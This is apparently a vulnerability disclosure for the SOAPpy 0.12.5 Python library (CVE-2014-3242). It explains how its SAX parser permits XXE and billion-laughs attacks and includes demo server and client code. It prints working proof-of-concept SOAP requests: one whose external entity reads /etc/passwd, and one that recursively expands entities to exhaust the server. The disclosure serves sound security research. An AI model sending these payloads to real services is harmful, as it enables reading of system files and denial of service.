0×01:Background

SOAPpy provides tools for building SOAP clients and servers.The goal of the SOAPpy team is to provide a full featured SOAP library for Python that is very simple to use and that fully supports dynamic interaction between clients and servers.

SOAPpy use sax.xml as SOAP parser to parse the xml request.Sax.xml also support of setting a handler for resolving entity.By tricking this feature,it’ll lead to xxe attack or dtd dos attack.

0×02:Vulnerability details

Affect version:0.12.5(currently the lastest version)

Type:XXE Attack & Billion laughs attack

0×03:Reproduction

I use a simplified echo soap server & client scenario to reproduce these vulnerabilities.The code below is echo soap server.

1
2
3
4
5
6
7
8
#!/usr/bin/env python

encoding:utf-8

from SOAPpy import SOAPServer
def echo(s):
return s # repeats a string twice
server = SOAPServer(("0.0.0.0", 8080))
server.registerFunction(echo)
server.serve_forever()
And the client code:

1
2
3
4
5
6
#!/usr/bin/env python

coding:utf-8

from SOAPpy import SOAPProxy
server = SOAPProxy("http://localhost:8080/")
print server.echo("Hello world")
Very simple at all but it’s enough to illustrative the problem.

As SOAPpy doesn’t support WSDL very well,i have to generate the soap request manually.I use wireshark to capture packets transported between server and client.

capture_soap_req.PNG
I copy the packet printable to get a clear soap request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.0
Host: localhost:8080
User-agent: SOAPpy 0.12.0 (pywebsvcs.sf.net)
Content-type: text/xml; charset="UTF-8"
Content-length: 484
SOAPAction: "echo"

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/&quot;
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/&quot;
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance&quot;
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/&quot;
xmlns:xsd="http://www.w3.org/1999/XMLSchema&quot;
>
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">Hello world</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
At this point,i can use the request proxy like Brup Suite to craft specified xml and replay the request.

XXE attack poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/&quot;
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/&quot;
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance&quot;
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/&quot;
xmlns:xsd="http://www.w3.org/1999/XMLSchema&quot;
>
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&xxe;</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
burp_demo_resp.PNG
Billion laughs dos poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/&quot;
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/&quot;
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance&quot;
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/&quot;
xmlns:xsd="http://www.w3.org/1999/XMLSchema&quot;
>
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&lol9;</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Once send this soap request,the server resouce will exhaust very soon because of the recursion of parsing entities.
CVE-2014-3242
SOAPpy 0.12.5
none